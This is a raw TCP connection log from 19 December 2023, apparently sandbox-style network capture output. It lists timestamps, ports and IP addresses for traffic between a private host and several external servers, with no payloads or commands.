Dec 19, 2023 03:22:30.823045969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823069096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823070049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823090076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823128939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823169947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823221922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823230982 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823240042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823272943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823287964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823314905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823329926 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823348999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823411942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823427916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823430061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823451996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823467970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823479891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823497057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823499918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823499918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823556900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823570013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823575020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823606014 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823612928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823628902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823643923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823657036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823693991 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823693991 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823697090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823721886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823740959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823765993 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823787928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823800087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823854923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823867083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.823868990 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823915958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.823959112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824008942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824026108 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.824067116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824084044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824151039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.824171066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824184895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824213028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824239016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824240923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.824251890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824291945 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824292898 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.824292898 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.824359894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824373007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824404001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824419975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824440956 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.824454069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824476004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824490070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.824490070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.824671984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824723005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824765921 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.824779987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824793100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824809074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824821949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824843884 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.824843884 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.824876070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824888945 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824932098 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.824949980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824961901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824974060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.824991941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825011015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825012922 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825012922 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825043917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825064898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825077057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825105906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825105906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825128078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825141907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825171947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825218916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825274944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825314999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825330973 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825370073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825382948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825419903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825419903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825469971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825491905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825503111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825514078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825525045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825546026 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825558901 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825573921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825587034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825612068 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825695038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825781107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825817108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825831890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825881004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825896025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825927019 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825927019 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.825958014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.825999022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826015949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826062918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.826065063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826105118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826149940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826183081 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.826183081 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.826205015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826221943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826272964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826324940 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.826338053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826354980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826373100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826404095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.826404095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.826440096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826452971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826484919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826519966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826538086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.826570988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826586962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826610088 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.826625109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.826646090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826675892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826709032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826773882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826786995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826792002 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.826828957 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.826843977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826860905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.826894999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.826925039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827296972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827344894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827351093 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.827416897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827435017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827461958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.827481031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.827500105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827532053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827588081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827625036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827657938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.827682018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827713013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827732086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827745914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.827745914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.827795982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827811956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827852011 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.827886105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827934027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827975988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.827996016 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.828016043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828031063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.828073025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828085899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828140020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828182936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828191042 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.828229904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.828233957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828263998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828316927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828319073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.828330040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828351021 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.828389883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828444958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828473091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828495979 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.828512907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.828525066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828583956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828599930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828627110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.828629017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828685999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828713894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828737020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.828748941 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.828768015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828788996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828826904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.828866005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828897953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828953981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828989029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.828996897 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829011917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829050064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829070091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829104900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829104900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829128981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829164028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829186916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829200029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829216003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829267979 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829324007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829340935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829365015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829397917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829397917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829408884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829454899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829468966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829528093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829530954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829546928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829596043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829616070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829658031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829670906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829685926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829699039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829705000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829705000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829746962 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829756975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829772949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829809904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829833984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829850912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829900026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829921007 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.829951048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.829982042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.830023050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.830034971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.830050945 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:30.830091000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.963064909 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:30.963144064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:31.170320034 CET	49743	9001	192.168.2.4	5.59.227.51
Dec 19, 2023 03:22:31.231847048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:31.250385046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:31.270807028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:31.270807028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:31.540431023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:31.558486938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:31.607811928 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:32.171158075 CET	49744	443	192.168.2.4	209.58.180.90
Dec 19, 2023 03:22:32.171200037 CET	443	49744	209.58.180.90	192.168.2.4
Dec 19, 2023 03:22:32.171386003 CET	49744	443	192.168.2.4	209.58.180.90
Dec 19, 2023 03:22:32.172303915 CET	49744	443	192.168.2.4	209.58.180.90
Dec 19, 2023 03:22:32.172317982 CET	443	49744	209.58.180.90	192.168.2.4
Dec 19, 2023 03:22:32.443123102 CET	49745	80	192.168.2.4	172.67.174.181
Dec 19, 2023 03:22:32.567826986 CET	80	49745	172.67.174.181	192.168.2.4
Dec 19, 2023 03:22:32.567905903 CET	49745	80	192.168.2.4	172.67.174.181
Dec 19, 2023 03:22:32.568125963 CET	49745	80	192.168.2.4	172.67.174.181
Dec 19, 2023 03:22:32.568159103 CET	49745	80	192.168.2.4	172.67.174.181
Dec 19, 2023 03:22:32.692861080 CET	80	49745	172.67.174.181	192.168.2.4
Dec 19, 2023 03:22:32.692886114 CET	80	49745	172.67.174.181	192.168.2.4
Dec 19, 2023 03:22:32.729883909 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:33.059283018 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:33.059397936 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:33.078257084 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:33.232916117 CET	49743	9001	192.168.2.4	5.59.227.51
Dec 19, 2023 03:22:33.289170980 CET	443	49744	209.58.180.90	192.168.2.4
Dec 19, 2023 03:22:33.289277077 CET	49744	443	192.168.2.4	209.58.180.90
Dec 19, 2023 03:22:33.292587996 CET	49744	443	192.168.2.4	209.58.180.90
Dec 19, 2023 03:22:33.292597055 CET	443	49744	209.58.180.90	192.168.2.4
Dec 19, 2023 03:22:33.292804956 CET	443	49744	209.58.180.90	192.168.2.4
Dec 19, 2023 03:22:33.293020964 CET	49744	443	192.168.2.4	209.58.180.90
Dec 19, 2023 03:22:33.340734959 CET	443	49744	209.58.180.90	192.168.2.4
Dec 19, 2023 03:22:33.407982111 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:33.453752995 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:33.785181046 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:33.826628923 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:34.047192097 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:34.381541967 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:34.381649017 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:34.382045984 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:34.915965080 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:35.202266932 CET	49748	443	192.168.2.4	45.66.33.45
Dec 19, 2023 03:22:35.202296019 CET	443	49748	45.66.33.45	192.168.2.4
Dec 19, 2023 03:22:35.202363968 CET	49748	443	192.168.2.4	45.66.33.45
Dec 19, 2023 03:22:35.202714920 CET	49748	443	192.168.2.4	45.66.33.45
Dec 19, 2023 03:22:35.202728033 CET	443	49748	45.66.33.45	192.168.2.4
Dec 19, 2023 03:22:35.410123110 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:35.410170078 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:35.410228014 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:35.744709015 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:35.744803905 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:35.744842052 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:35.744896889 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:35.744915009 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:35.744985104 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.079161882 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.079435110 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.079452991 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.079466105 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.079478979 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.079540014 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.079549074 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.079586983 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.079633951 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.079670906 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.079729080 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.414450884 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.415050030 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.415090084 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.415194988 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.415932894 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.415990114 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.416012049 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.416116953 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.416150093 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.416162014 CET	80	49747	211.53.230.67	192.168.2.4
